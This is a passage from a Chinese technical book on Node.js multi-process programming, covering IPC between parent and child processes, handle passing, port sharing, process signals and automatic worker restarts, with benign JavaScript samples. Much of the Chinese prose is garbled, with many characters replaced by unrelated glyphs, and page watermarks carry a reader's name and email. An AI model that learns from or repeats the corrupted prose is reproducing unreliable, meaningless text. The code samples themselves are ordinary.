ழก实ဗ˞ᤈ程Փߔᤈ程发ᤞ数૵，message事͇实ဗ收եߔᤈ程发౎的数૵，与API在一定

程ऎ上相ͪ。᤯过๖ো͛ᤫ内ࠓ，Ꮺ不是Р享੊ᄯ接ୱ作相关ᠪ源，这是ᣖ为ᣏ量֖௃Ιᠺ

的做ก。 
Node中对应ᇧΒݟ下੝ᇧὙ 

// parent.js 
var cp = require('child_process'); 
var n = cp.fork(__dirname + '/sub.js'); 
 
n.on('message', function (m) { 
  console.log('PARENT got message:', m); 
}); 
 
n.send({hello: 'world'}); 
// sub.js 
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process.on('message', function (m) { 
  console.log('CHILD got message:', m); 
}); 
 
process.send({foo: 'bar'}); 

᤯过fork()੊者Ф他API，创तߔᤈ程之后，为了实ဗྗߔᤈ程之ᫍ的᤯信，ྗᤈ程与ߔᤈ

程之ᫍ࠱会创तIPC᤯᥊。᤯过IPC᤯᥊，ྗߔᤈ程之ᫍ才能᤯过message֖send()͛ᤫ๖ো。 
z ᤈርᫍ᤯ζԓူ 
IPC的Кሥ是Inter-Process Communication，Ԁᤈ程ᫍ᤯信。ᤈ程ᫍ᤯信的目的是为了ᝧ不Վ

的ᤈ程能ܴ̈相᝺问ᠪ源并ᤈᛠӨុ工作。实ဗᤈ程ᫍ᤯信的技术有很多，֐ݟՏ管᥊、ӟՏ管

᥊、socket、信Ձ量、Р享内ߚ、๖ো᫲Ѵ、Domain Socketኍ。Node中实ဗIPC᤯᥊的是管᥊（pipe）

技术。ͭ൤管᥊᭣ग़管᥊，在Node中管᥊是个ઙ៵ࡎ᭦的ሥ֏，Хͳጹᓫ实ဗ由libuvଡΘ，在

Windows下由֐Տ管᥊（named pipe）实ဗ，*nix系统Ѷ᧓用Unix Domain Socket实ဗ。ᛪဗ在应

用ࡎ上的ᤈ程ᫍ᤯信只有ኤӬ的message事͇֖send()ழก，接ԯӠ分ኤผ֖๖োӐ。图9-2为IPC
创त֖实ဗ的ᇧ਒图。 

 

图9-2 IPC创त֖实ဗᇧ਒图 

ྗᤈ程在实ᬄ创तߔᤈ程之前，会创तIPC᤯᥊并ᄢե它，ཨ后才ᄽൣ创तѢߔᤈ程，并᤯

过环境Ԫ量（NODE_CHANNEL_FD）նឃߔᤈ程这个IPC᤯᥊的஠͇ଠᤗቿ。ߔᤈ程在ը动的过程中，

಩૵஠͇ଠᤗቿԜᤋ接这个已ߚ在的IPC᤯᥊，从Ꮺ߸੆ྗߔᤈ程之ᫍ的ᤋ接。图9-3为创तIPC
管᥊的൥ᰠᇧ਒图。 

 

图9-3 创तIPC管᥊的൥ᰠᇧ਒图 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权



242� � ኃ 9 ብ� ဓᣀᤈር 

 

त立ᤋ接之后的ྗߔᤈ程就可以自由ڠ᤯信了。由于IPC᤯᥊是用֐Տ管᥊੊Domain Socket
创त的，它们与网ፎsocket的ᛠ为ඊᣖዜͪ，࡚于ԤՓ᤯信。不Վ的是它们在系统内ನ中就߸੆

了ᤈ程ᫍ的᤯信，Ꮺ不用经过实ᬄ的网ፎࡎ，᭣࣡高஌。在Node中，IPC᤯᥊ᜁઙ៵为Stream对

៵，在ុ用send()时发ᤞ数૵（ዜͪ于write()），接收到的๖ো会᤯过message事 （͇ዜͪ于data）

触发ፋ应用ࡎ。 

⊼ᛣ Ե有ըҮ的ߔᤈር௦NodeᤈርௐὋߔᤈር੥͗಩据ဖܑԪ᧙ԜᤋଋIPC᤯᥊Ὃࠪ̅Ф̴ዜۋ

的ߔᤈርѶ无กࠃဗᤈርᫍ᤯ζὋᬓ᭣Ф̴ᤈር˶૊ጝ定Ԝᤋଋᤇ˓ࣂፂ创तݝ的IPC᤯᥊。 

9.2.3� হᶘӴ䗦 
त立好ᤈ程之ᫍ的IPC后，ݟ౦仅仅只用౎发ᤞ一些ኤӬ的数૵，௬ཨ不ܴ我们的实ᬄ应用

使用。还᝭३本ብኃ一部分̼ᆉᭉ要࠱ը动的服务٧分ѾᄢեՉ自的端ԯ˥，ݟ౦ᝧ服务都ᄢե

到相Վ的端ԯ，࠱会有̣˥样的ፆ౦὞ᇧΒݟ下੝ᇧὙ 
var http = require('http'); 
http.createServer(function (req, res) { 
  res.writeHead(200, {'Content-Type': 'text/plain'}); 
  res.end('Hello World\n'); 
}).listen(8888, '127.0.0.1'); 

в次ը动master.js஠͇，ݟ下੝ᇧὙ 
events.js:72 
        throw er; // Unhandled 'error' event 
              ^ 
Error: listen EADDRINUSE 
    at errnoException (net.js:884:11) 

这时只有一个工作ᤈ程能ܴᄢե到ឞ端ԯ上，Ф余的ᤈ程在ᄢե的过程中都ઊѢ了

EADDRINUSEऩ࣡，这是端ԯᜁӳ用的情х，新的ᤈ程不能继续ᄢեឞ端ԯ了。这个问题ᆠڭ了我

们࠱多个ᤈ程ᄢեՎ一个端ԯ的想ก。要解决这个问题，᤯࣡的做ก是ᝧඇ个ᤈ程ᄢե不Վ的端

ԯ，Ф中˞ᤈ程ᄢե˞端ԯ（80ݟ），˞ᤈ程对外接收੝有的网ፎ请ය，в࠱这些请ය分Ѿ̼ူ

到不Վ的端ԯ的ᤈ程上。ᇧ਒图ݟ图9-4੝ᇧ。 

 
图9-4 ˞ᤈ程接收、分ᦠ网ፎ请ය的ᇧ਒图 
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᤯过̼ူ，可以ᥗБ端ԯ不能᧗复ᄢե的问题，甚至可以在̼ူᤈ程上做᤟ॆ的᠆ᣑڨᛥ，

使३ඇ个ߔᤈ程可以ᣖ为ڨᛥڠ੯ᛠ͉务。由于ᤈ程ඇ接收到一个ᤋ接，࠱会用૿一个஠͇ଠᤗ

ቿ，因൤̼ူழ಴中客ਖ਼端ᤋ接到̼ူᤈ程，̼ ူᤈ程ᤋ接到工作ᤈ程的过程ᭉ要用૿ˏ个஠͇

ଠᤗቿ。ୱ作系统的஠͇ଠᤗቿ是有ᬌ的，̼ ူழ಴ํ᠟૿一υ数量的஠͇ଠᤗቿ的做กॕֽ了

系统的ੰࡘ能Ҧ。 
为了解决上ᤗ这样的问题，Node在ྟ本v0.5.9ल入了ᤈ程ᫍ发ᤞԱ౺的ҩ能。send()ழกᬓ

了能᤯过IPC发ᤞ数૵外，还能发ᤞԱ౺，ኃ̃个可ᤤԟ数就是Ա౺，ݟ下੝ᇧὙ 
child.send(message, [sendHandle]) 

ᥦ̣˥是Ա౺὞Ա౺是一ሗ可以用౎ಕ识ᠪ源的ल用，它的内部包դ了ૈՓ对៵的஠͇ଠᤗ

ቿ。ඊݟԱ౺可以用౎ಕ识一个服务٧端socket对៵、一个客ਖ਼端socket对៵、一个UDPݒ接ߙ、

一个管᥊ኍ。 
发ᤞԱ౺਒։着̣˥὞在前一个问题中，我们可以Ԝ૿̼ူ这ሗழ಴，使˞ᤈ程接收到socket

请ය后，࠱这个socketᄯ接发ᤞፋ工作ᤈ程，Ꮺ不是᧗新与工作ᤈ程之ᫍत立新的socketᤋ接౎ᣀ

发数૵。஠͇ଠᤗቿํ᠟的问题可以᤯过这样的ழयᣏౚ解决。౎ᄹᄹ我们的ᇧΒ̼ᆉ。 
˞ᤈ程̼ᆉݟ下੝ᇧὙ 

var child = require('child_process').fork('child.js'); 
 
// Open up the server object and send the handle 
var server = require('net').createServer(); 
server.on('connection', function (socket) { 
  socket.end('handled by parent\n'); 
}); 
server.listen(1337, function () { 
  child.send('server', server); 
}); 

 下੝ᇧὙݟᤈ程̼ᆉߔ

process.on('message', function (m, server) { 
  if (m === 'server') { 
    server.on('connection', function (socket) { 
      socket.end('handled by child\n'); 
    }); 
  } 
}); 

这个ᇧΒ中ᄯ接࠱一个TCP服务٧发ᤞፋ了ߔᤈ程。这是ᄹ起౎不可ধᝫ的事情，我们Ў౎

测试一႖，ᄹᄹ஌౦ݟ，ʹݟ下੝ᇧὙ 

// 先启动服务器 
$ node parent.js  

ཨ后新开一个̽֐ᛠቓԯ，用上curl工Х，ݟ下੝ᇧὙ 

$ curl "http://127.0.0.1:1337/" 
handled by parent 
$ curl "http://127.0.0.1:1337/" 
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handled by child 
$ curl "http://127.0.0.1:1337/" 
handled by child 
$ curl "http://127.0.0.1:1337/" 
handled by parent 

我们客ਖ਼端发起ူܪᤈ程֖ྗᤈ程都有可能ߔᛠ中的ֽ应ፆ౦也是很不可ধᝫ的，这᧖̽֐

的请ය。 
试试࠱服务发ᤞፋ多个ߔᤈ程，ݟ下੝ᇧὙ 

// parent.js 
var cp = require('child_process'); 
var child1 = cp.fork('child.js'); 
var child2 = cp.fork('child.js'); 
 
// Open up the server object and send the handle 
var server = require('net').createServer(); 
server.on('connection', function (socket) { 
  socket.end('handled by parent\n'); 
}); 
server.listen(1337, function () { 
  child1.send('server', server); 
  child2.send('server', server); 
}); 

ཨ后在ߔᤈ程中࠱ᤈ程ID੩ӾѢ౎，ݟ下੝ᇧὙ 

// child.js 
process.on('message', function (m, server) { 
  if (m === 'server') { 
    server.on('connection', function (socket) { 
      socket.end('handled by child, pid is ' + process.pid + '\n'); 
    }); 
  } 
}); 

в用curl测试我们的服务，ݟ下੝ᇧὙ 

$ curl "http://127.0.0.1:1337/" 
handled by child, pid is 24673 
$ curl "http://127.0.0.1:1337/" 
handled by parent 
$ curl "http://127.0.0.1:1337/" 
handled by child, pid is 24672 

测试的ፆ౦是ඇ次Ѣဗ的ፆ౦都可能不Վ，ፆ౦可能ᜁྗᤈ程ူܪ，也可能ᜁ不Վ的ߔᤈ程

᭦౎试试。对于˞ᤈ程ࡎФᣀӐ到HTTP࠱试࠼᭦上߸੆的事情，我们ࡎ并且这是在TCP。ူܪ

Ꮺ言，我们甚至想要它ఝᣏ量一ཁ，ᥦ˥是否࠱服务٧Ա౺发ᤞፋߔᤈ程之后，就可以关૿服务

٧的ᄢե，ᝧߔᤈ程౎ူܪ请යփ὞ 
我们对˞ᤈ程ᤈᛠஇ动，ݟ下੝ᇧὙ 

// parent.js 
var cp = require('child_process'); 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权



9.2� ܲᤈር౵ౝ� � 245 

 

1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

var child1 = cp.fork('child.js'); 
var child2 = cp.fork('child.js'); 
 
// Open up the server object and send the handle 
var server = require('net').createServer(); 
server.listen(1337, function () { 
  child1.send('server', server); 
  child2.send('server', server); 
  // 关ۖ 
  server.close(); 
}); 

ཨ后对ߔᤈ程ᤈᛠஇ动，ݟ下੝ᇧὙ 

// child.js 
var http = require('http'); 
var server = http.createServer(function (req, res) { 
  res.writeHead(200, {'Content-Type': 'text/plain'}); 
  res.end('handled by child, pid is ' + process.pid + '\n'); 
}); 
 
process.on('message', function (m, tcp) { 
  if (m === 'server') { 
    tcp.on('connection', function (socket) { 
      server.emit('connection', socket); 
    }); 
  } 
}); 

᧗新ը动parent.js后，в次测试，ݟ下੝ᇧὙ 

$ curl "http://127.0.0.1:1337/" 
handled by child, pid is 24852 
$ curl "http://127.0.0.1:1337/" 
handled by child, pid is 24851 

这样一౎，੝有的请ය都是由ߔᤈ程ူܪ了。ஞ个过程中，服务的过程发生了一次இԪ，ݟ

图9-5੝ᇧ。 

 

图9-5 ˞ᤈ程࠱请ය发ᤞፋ工作ᤈ程 
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˞ᤈ程发ᤞ߸Ա౺并关᫆ᄢե之后，੆为了ݟ图9-6੝ᇧ的ፆౝ。 

 

图9-6 ˞ᤈ程发ᤞ߸Ա౺并关᫆ᄢե后的ፆౝ 

我们ᇷ݈ڠ发ဗ，多个ߔᤈ程可以Վ时ᄢե相Վ端ԯ，в没有EADDRINUSEऩ࣡发生了。 
1. হᶘথ䗕Ϣ䖬ॳ 
上஠̭ፀ的ᙉཨ是Ա౺发ᤞ，ͭ 是̲ጹᄹᄹ，Ա౺发ᤞᡱ我们ᄯ接࠱服务٧对៵发ᤞፋߔᤈ

程有没有ࢿѾ὞它是否ᄽ的࠱服务٧对៵发ᤞፋ了ߔᤈ程὞为̣˥它可以发ᤞ到多个ߔᤈ程

中὞发ᤞፋߔᤈ程为̣˥ྗᤈ程中还ߚ在这个对៵὞本ᓫ࠱ପ开这些ማࠚ的੝在。 
目前ߔᤈ程对៵send()ழก可以发ᤞ的Ա౺ዜۋ包括ݟ下几ሗ。 
� net.Socket。TCPݒ接ߙ。 
� net.Server。TCP服务٧，͉਒त立在TCP服务上的应用ࡎ服务都可以享ԩ到它ࣛ౎的 

好ܪ。 
� net.Native。C++ࡎ᭦的TCPݒ接ߙ੊IPC管᥊。 
� dgram.Socket。UDPݒ接ߙ。 
� dgram.Native。C++ࡎ᭦的UDPݒ接ߙ。 
send()ழก在࠱๖ো发ᤞ到IPC管᥊前，࠱๖ো组ᜈ੆ˏ个对៵，一个ԟ数是handle，Բ一个

是message。messageԟ数ݟ下੝ᇧὙ 

{ 
  cmd: 'NODE_HANDLE', 
  type: 'net.Server', 
  msg: message 
} 

发ᤞ到IPC管᥊中的实ᬄ上是我们要发ᤞ的Ա౺஠͇ଠᤗቿ，஠͇ଠᤗቿ实ᬄ上是一个ஞ数

Ϙ。这个message对៵在写入到IPC管᥊时也会᤯过JSON.stringify()ᤈᛠ序ѴӐ。੝以最ጻ发ᤞ

到IPC᤯᥊中的信ো都是ߙቿ˘，send()ழก能发ᤞ๖ো֖Ա౺并不਒։着它能发ᤞ͉਒对៵。 
ᤋ接了IPC᤯᥊的ߔᤈ程可以读Ԩ到ྗᤈ程发౎的๖ো，ߙ࠱ቿ˘᤯过JSON.parse()解ౡ还

ԓ为对៵后，才触发message事͇࠱๖োͳ͛ᤫፋ应用ࡎ使用。在这个过程中，๖ো对៵还要ᜁ

ᤈᛠ过໙ူܪ，message.cmd的Ϙݟ౦以NODE_为前፯，它ֽ࠱应一个内部事͇internalMessage。
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ԨѢmessage.typeϘ֖३到的஠͇ଠᤗቿ一起还ԓѢ一个࠱౦message.cmdϘ为NODE_HANDLE，它ݟ

对应的对៵。这个过程的ᇧ਒图ݟ图9-7੝ᇧ。 

 

图9-7 Ա౺的发ᤞ与还ԓᇧ਒图 

以发ᤞ的TCP服务٧Ա౺为Β，ߔᤈ程收到๖ো后的还ԓ过程ݟ下੝ᇧὙ 

function(message, handle, emit) { 
  var self = this; 
 
  var server = new net.Server(); 
  server.listen(handle, function() { 
    emit(server); 
  }); 
} 

上᭦的̼ᆉ中，ߔᤈ程಩૵message.type创त对应TCP服务٧对៵，ཨ后ᄢե到஠͇ଠᤗቿ

上。由于ऄࡎጹᓫ不ᜁ应用ࡎਕᅻ，੝以在ߔᤈ程中，开发者会有一ሗ服务٧就是从ྗᤈ程中ᄯ

接͛ᤫ过౎的ᩱ᜿。Ϙ३ซ਒的是，Nodeᤈ程之ᫍ只有๖ো͛ᤫ，不会ᄽൣ͛ڠᤫ对៵，这ሗᩱ

᜿是ઙ៵࠯ᜈ的ፆ౦。 
目前Node只ஂ૆上ᤗଡ到的几ሗԱ౺，并᭣͉਒ዜۋ的Ա౺都能在ᤈ程之ᫍ͛ᤫ，ᬓ᭣它有

߸ஞ的发ᤞ֖还ԓ的过程。 
2. ッষ݅ৠⲥ਀ 
在了解了Ա౺͛ᤫᐿ后的ԓူ后，我们继续探ቂ为ʹ᤯过发ᤞԱ౺后，多个ᤈ程可以ᄢե到

相Վ的端ԯᏪ不ल起EADDRINUSEऩ࣡。Фኔ಴也很ኤӬ，我们࿗立ը动的ᤈ程中，TCP服务٧端

socketݒ接ߙ的஠͇ଠᤗቿ并不相Վ，࠭ᒰᄢե到相Վ的端ԯ时会ઊѢऩ࣡。 
Nodeऄࡎ对ඇ个端ԯᄢե都᝹Ꮅ了SO_REUSEADDRᤤᮉ，这个ᤤᮉ的๯˦是不Վᤈ程可以就相

Վ的网Ӵ֖端ԯᤈᛠᄢե，这个服务٧端ݒ接ߙ可以ᜁ不Վ的ᤈ程复用，ݟ下੝ᇧὙ 

setsockopt(tcp->io_watcher.fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) 

由于࿗立ը动的ᤈ程̈相之ᫍ并不ᅻ᥊஠͇ଠᤗቿ，੝以ᄢե相Վ端ԯ时就会ܾ᠋。ͭ 对于

send()发ᤞ的Ա౺还ԓѢ౎的服务Ꮺ言，它们的஠͇ଠᤗቿ是相Վ的，੝以ᄢե相Վ端ԯ不会ल

起ऩ࣡。 
多个应用ᄢե相Վ端ԯ时，஠͇ଠᤗቿՎ一时ᫍ只能ᜁ౼个ᤈ程੝用。૰言之就是网ፎ请ය

Փ服务٧端发ᤞ时，只有一个ࣳᤁ的ᤈ程能ܴ઎到ᤋ接，也就是ឬ只有它能为这个请යᤈᛠ服务。

这些ᤈ程服务是઎ӳय的。 

9.2.4� ᇣ㒧 

至൤，我们̭ፀ了创तߔᤈ程、ᤈ程ᫍ᤯信的IPC᤯᥊实ဗ、Ա౺在ᤈ程ᫍ的发ᤞ֖还ԓ、
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端ԯР用ኍጹᓫ。᤯过这些۲ᆨ技术，用child_processഴڰ在Ӭ机上ୃतNodeᬶᏅ是͇相对ࠓ

௛的事情。因൤在多ನCPU的环境下，ᝧNodeᤈ程能ܴЌ分ѽ用ᠪ源不в是ᬱ题。 

9.3� 䲚㕸〇ᅮП䏃 

ୃत好了ᬶᏅ，Ќ分ѽ用了多ನCPUᠪ源，ͪ ˪就可以ᤀ接客ਖ਼端大量的请ය了。ͭ 请ኍኍ，

我们还有一些ጹᓫᭉ要Ꮵᘼ。 
� 性能问题。 
� 多个工作ᤈ程的ߚ活࿃খ管ူ。 
� 工作ᤈ程的ࣰ໎᧗ը。 
� ᦠᎵ੊者᭡খ数૵的动খ᧗新ᣑ入。 
� Ф他ጹᓫ。 
是的，ᙉཨ我们创त了很多工作ᤈ程，ͭඇ个工作ᤈ程Ιཨ是在Ӭ线程上੯ᛠ的，它的ሶ定

性还不能३到߸К的γᬩ。我们ᭉ要त立起一个ϣК的机҃౎γᬩNode应用的ϣܤ性。 

9.3.1� 䖯⿟џӊ 

в次ॅٿ到ߔᤈ程对៵上，ᬓ了ल人关ซ的send()ழก֖message事͇外，ߔᤈ程还有些̣

˥փ὞ᯪЎᬓ了message事͇外，Node还有ݟ下这些事͇。 
� errorὙॆߔᤈ程௃กᜁ复҃创त、௃กᜁ఼൪、௃ก发ᤞ๖ো时会触发ឞ事͇。 
� exitὙߔᤈ程ᤝѢ时触发ឞ事͇，ߔᤈ程ݟ౦是ൣ࣡ᤝѢ，这个事͇的ኃ一个ԟ数为ᤝѢ

ᆉ，否Ѷ为null。ݟ౦ᤈ程是᤯过kill()ழกᜁ఼൪的，会३到ኃ̃个ԟ数，它ᛪᇧ఼൪

ᤈ程时的信Ձ。 
� closeὙ在ߔᤈ程的ಕэᣤ入ᣤѢึ中ൢ时触发ឞ事͇，ԟ数与exit相Վ。 
� disconnectὙ在ྗᤈ程੊ߔᤈ程中ុ用disconnect()ழก时触发ឞ事͇，在ុ用ឞழก时

 。关᫆ᄢեIPC᤯᥊࠱
上ᤗ这些事͇是ྗᤈ程能ᄢե到的与ߔᤈ程相关的事͇。ᬓ了send()外，还能᤯过kill()ழ

กፋߔᤈ程发ᤞ๖ো。kill()ழก并不能ᄽൣ࠱ڠ᤯过IPC相ᤋ的ߔᤈ程఼൪，它只是ፋߔᤈ程

发ᤞ了一个系统信Ձ。᳭认情х下，ྗᤈ程࠱᤯过kill()ழกፋߔᤈ程发ᤞ一个SIGTERM信Ձ。

它与ᤈ程᳭认的kill()ழกዜͪ，ݟ下੝ᇧὙ 

// 子进程 
child.kill([signal]); 
// 当前进程 
process.kill(pid, [signal]); 

它们一个发ፋߔᤈ程，一个发ፋ目ಕᤈ程。在POSIXಕэ中，有一ܫ߸ݒ的信Ձ系统，在֐

̽ᛠ中੯ᛠkill -l可以ᄹ到សጹ的信ՁѴᛪ，ݟ下੝ᇧὙ 

$ kill -l 
 1) SIGHUP   2) SIGINT   3) SIGQUIT  4) SIGILL 
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 5) SIGTRAP  6) SIGABRT  7) SIGEMT   8) SIGFPE 
 9) SIGKILL 10) SIGBUS  11) SIGSEGV 12) SIGSYS 
13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGURG 
17) SIGSTOP 18) SIGTSTP 19) SIGCONT 20) SIGCHLD 
21) SIGTTIN 22) SIGTTOU 23) SIGIO 24) SIGXCPU 
25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 
29) SIGINFO 30) SIGUSR1 31) SIGUSR2 

NodeଡΘ了这些信Ձ对应的信Ձ事͇，ඇ个ᤈ程都可以ᄢե这些信Ձ事͇。这些信Ձ事͇是

用౎᤯ᅻᤈ程的，ඇ个信Ձ事͇有不Վ的դ˦，ᤈ程在收到ֽ应信Ձ时，应ॆ做Ѣጝ定的ᛠ为，

 下੝ᇧὙݟSIGTERM是ᣃ͇ጻൢ信Ձ，ᤈ程收到ឞ信Ձ时应ॆᤝѢ。ᇧΒ̼ᆉݟ

process.on('SIGTERM', function() { 
  console.log('Got a SIGTERM, exiting...'); 
  process.exit(1); 
}); 
 
console.log('server running with PID:', process.pid); 
process.kill(process.pid, 'SIGTERM'); 

9.3.2� 㞾ࡼ䞡ਃ 

有了ྗߔᤈ程之ᫍ的相关事͇之后，就可以在这些关系之ᫍ创तѢᭉ要的机҃了。至࠵我们

能ܴ᤯过ᄢեߔᤈ程的exit事͇౎ᖌᅻФᤝѢ的信ো，接着前஠的多ᤈ程౵ౝ，我们在˞ᤈ程上

要加入一些ߔᤈ程管ူ的机҃，ඊݟ᧗新ը动一个工作ᤈ程౎继续服务。ᇧ਒图ݟ图9-8੝ᇧ。 

 

图9-8 ˞ᤈ程加入ߔᤈ程管ူ机҃的ᇧ਒图 

实ဗ̼ᆉݟ下੝ᇧὙ 

// master.js 
var fork = require('child_process').fork; 
var cpus = require('os').cpus(); 
 
var server = require('net').createServer(); 
server.listen(1337); 
 
var workers = {}; 
var createWorker = function () { 
  var worker = fork(__dirname + '/worker.js'); 
  // ཽ出时重ႎ启动ႎ的进程 
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  worker.on('exit', function () { 
    console.log('Worker ' + worker.pid + ' exited.'); 
    delete workers[worker.pid]; 
    createWorker(); 
  }); 
  // 句柄转发 
  worker.send('server', server); 
  workers[worker.pid] = worker; 
  console.log('Create worker. pid: ' + worker.pid); 
}; 
 
for (var i = 0; i < cpus.length; i++) { 
  createWorker(); 
} 
 
// 进程自मཽ出时ǈඟ໯有工作进程ཽ出 
process.on('exit', function () { 
  for (var pid in workers) { 
    workers[pid].kill(); 
  } 
}); 

测试一下上᭦的̼ᆉ，ݟ下੝ᇧὙ 

$ node master.js 
Create worker. pid: 30504 
Create worker. pid: 30505 
Create worker. pid: 30506 
Create worker. pid: 30507 

᤯过kill̽֐఼൪౼个ᤈ程试试，ݟ下੝ᇧὙ 

$ kill 30506 

ፆ౦是30506ᤈ程ᤝѢ后，自动ը动了一个新的工作ᤈ程30518，঳ͳᤈ程数量并没有发生இ

Ԫ，ݟ下੝ᇧὙ 

Worker 30506 exited. 
Create worker. pid: 30518 

在这个场景中我们˞动఼൪了一个ᤈ程，在实ᬄˉ务中，可能有ᬤᘨ的bug࠭ᒰ工作ᤈ程ᤝ

Ѣ，ᥦ˥我们ᭉ要̲ጹူܪڠ这ሗऩ࣡，ݟ下੝ᇧὙ 

// worker.js 
var http = require('http'); 
var server = http.createServer(function (req, res) { 
  res.writeHead(200, {'Content-Type': 'text/plain'}); 
  res.end('handled by child, pid is ' + process.pid + '\n'); 
}); 
 
var worker; 
process.on('message', function (m, tcp) { 
  if (m === 'server') { 
    worker = tcp; 
    worker.on('connection', function (socket) { 
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      server.emit('connection', socket); 
    }); 
  } 
}); 
 
process.on('uncaughtException', function () { 
  // ཕኹ接收ႎ的૶接 
  worker.close(function () { 
    // ໯有ᅙ有૶接܏开ࢫǈཽ出进程 
    process.exit(1); 
  }); 
}); 

上ᤗ̼ᆉ的ึူܪ程是，一ெ有ల૬ᖌ的ऩ࣡Ѣဗ，工作ᤈ程就会立ԀϢൢ接收新的ᤋ接὚

ॆ੝有ᤋ接ற开后，ᤝѢᤈ程。˞ ᤈ程在Νե到工作ᤈ程的exit后，࠱会立Ԁը动新的ᤈ程服务，

以൤γ᝼ஞ个ᬶᏅ中঳是有ᤈ程在为用ਖ਼服务的。 
1. 㞾ᴔֵো 
ॆཨ上ᤗ̼ᆉߚ在的问题是要ኍ到已有的੝有ᤋ接ற开后ᤈ程才ᤝѢ，在极端的情х下，੝

有工作ᤈ程都Ϣൢ接收新的ᤋ接，Кܪ在ኍय़ᤝѢ的࿃খ。ͭ 在ኍ到ᤈ程߸КᤝѢ才᧗ը的过程

中，੝有新౎的请ය可能ߚ在没有工作ᤈ程为新用ਖ਼服务的情景，这会ˎ૿大部分请ය。 
为൤ᭉ要இᤈ这个过程，不能ኍ到工作ᤈ程ᤝѢ后才᧗ը新的工作ᤈ程。ॆ ཨ也不能఑Ҧᤝ

Ѣᤈ程，因为这样会࠭ᒰ已ᤋ接的用ਖ਼ᄯ接ற开。于是我们在ᤝѢ的ึ程中ܘ加一个自఼

（suicide）信Ձ。工作ᤈ程在३ᅻ要ᤝѢ时，Փ˞ᤈ程发ᤞ一个自఼信Ձ，ཨ后才Ϣൢ接收新的

ᤋ接，ॆ੝有ᤋ接ற开后才ᤝѢ。˞ᤈ程在接收到自఼信Ձ后，立Ԁ创त新的工作ᤈ程服务。̼

ᆉஇ动ݟ下੝ᇧὙ 

// worker.js 
process.on('uncaughtException', function (err) { 
  process.send({act: 'suicide'}); 
  // ཕኹ接收ႎ的૶接 
  worker.close(function () { 
    // ໯有ᅙ有૶接܏开ࢫǈཽ出进程 
    process.exit(1); 
  }); 
}); 

˞ᤈ程࠱᧗ը工作ᤈ程的͉务，从exit事͇的ူܪѥ数中ᣀሧ到message事͇的ူܪѥ数中，

 下੝ᇧὙݟ

var createWorker = function () { 
  var worker = fork(__dirname + '/worker.js'); 
  // 启动ႎ的进程 
  worker.on('message', function (message) { 
    if (message.act === 'suicide') { 
      createWorker(); 
    } 
  }); 
  worker.on('exit', function () { 
    console.log('Worker ' + worker.pid + ' exited.'); 
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    delete workers[worker.pid]; 
  }); 
  worker.send('server', server); 
  workers[worker.pid] = worker; 
  console.log('Create worker. pid: ' + worker.pid); 
}; 

为了ഴ઱ల૬ᖌ的ऩ࣡，我们࠱工作ᤈ程的̼ူܪᆉஇ为ઊѢऩ࣡，一ெ有用ਖ਼请ය，就会

有一个可দ的工作ᤈ程ᤝѢ，ݟ下੝ᇧὙ 

var server = http.createServer(function (req, res) { 
  res.writeHead(200, {'Content-Type': 'text/plain'}); 
  res.end('handled by child, pid is ' + process.pid + '\n'); 
  throw new Error('throw exception'); 
}); 

ཨ后ը动੝有ᤈ程，ݟ下੝ᇧὙ 

$ node master.js  
Create worker. pid: 48595 
Create worker. pid: 48596 
Create worker. pid: 48597 
Create worker. pid: 48598 

用curl工Х测试஌౦，ݟ下੝ᇧὙ 

$ curl http://127.0.0.1:1337/ 
handled by child, pid is 48598 

вܿٿᄹ᧗ը信ো，ݟ下੝ᇧὙ 

Create worker. pid: 48602 
Worker 48598 exited. 

与前一ሗழ಴相ඊ，创त新工作ᤈ程在前，ᤝѢऩ࣡ᤈ程在后。在这个可দ的ऩ࣡ᤈ程ᤝѢ

之前，঳是有新的工作ᤈ程౎ఢ上它的ͮ࡯。至൤我们߸੆了ᤈ程的ࣰ໎᧗ը，一ெ有ऩ࣡Ѣဗ，

˞ᤈ程会创त新的工作ᤈ程౎为用ਖ਼服务，ே的ᤈ程一ெူܪ߸已有ᤋ接就自动ற开。ஞ个过程

使३我们的应用的ሶ定性֖ϣܤ性大大ଡ高。ᇧ਒图ݟ图9-9੝ᇧ。 

 

图9-9 ᤈ程的自఼֖᧗ը 
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这᧖ߚ在问题的是有可能我们的ᤋ接是᫁ᤋ接，不是HTTP服务的这ሗᆀᤋ接，ኍय़᫁ᤋ接

ற开可能ᭉ要ᣖˣ的时ᫍ。为൤为已有ᤋ接的ற开᝹Ꮅ一个ᡓ时时ᫍ是ॸ要的，在ᬌ定时ᫍ᧖强

҃ᤝѢ的᝹Ꮅݟ下੝ᇧὙ 

process.on('uncaughtException', function (err) { 
  process.send({act: 'suicide'}); 
  // ཕኹ接收ႎ的૶接 
  worker.close(function () { 
    // ໯有ᅙ有૶接܏开ࢫǈཽ出进程 
    process.exit(1); 
  }); 
  // 5௱ཽࢫ出进程 
  setTimeout(function () { 
    process.exit(1); 
  }, 5000); 
}); 

ᤈ程中ݟ౦Ѣဗల能૬ᖌ的ऩ࣡，就਒։着有ᥦ˥一ൿ̼ᆉ在ϣܤ性上是不Ջಪ的。为൤ᤝ

Ѣᤈ程前，᤯过௅ং᝭े下问题੝在是ॸᮋ要做的事情，它可以ࣞ我们很好ڠ定֖ͮᤜᢍ̼ᆉऩ

࣡Ѣဗ的ͮᎵ，ݟ下੝ᇧὙ 

process.on('uncaughtException', function (err) { 
  // ऻ录日志 
  logger.error(err); 
  // 发ໃ自෫信ࡽ 
  process.send({act: 'suicide'}); 
  // ཕኹ接收ႎ的૶接 
  worker.close(function () { 
    // ໯有ᅙ有૶接܏开ࢫǈཽ出进程 
    process.exit(1); 
  }); 
  // 5௱ཽࢫ出进程 
  setTimeout(function () { 
    process.exit(1); 
  }, 5000); 
}); 

2. 䰤䞣䞡ਃ 
᤯过自఼信Ձնᅻ˞ᤈ程可以使३新ᤋ接঳是有ᤈ程服务，ͭ 是Ιཨ还是有极端的情х。工

作ᤈ程不能௃ᬌ҃ڠᜁ᧗ը，ݟ౦ը动的过程中就发生了ᩱឧ，੊者ը动后接到ᤋ接就收到ᩱឧ，

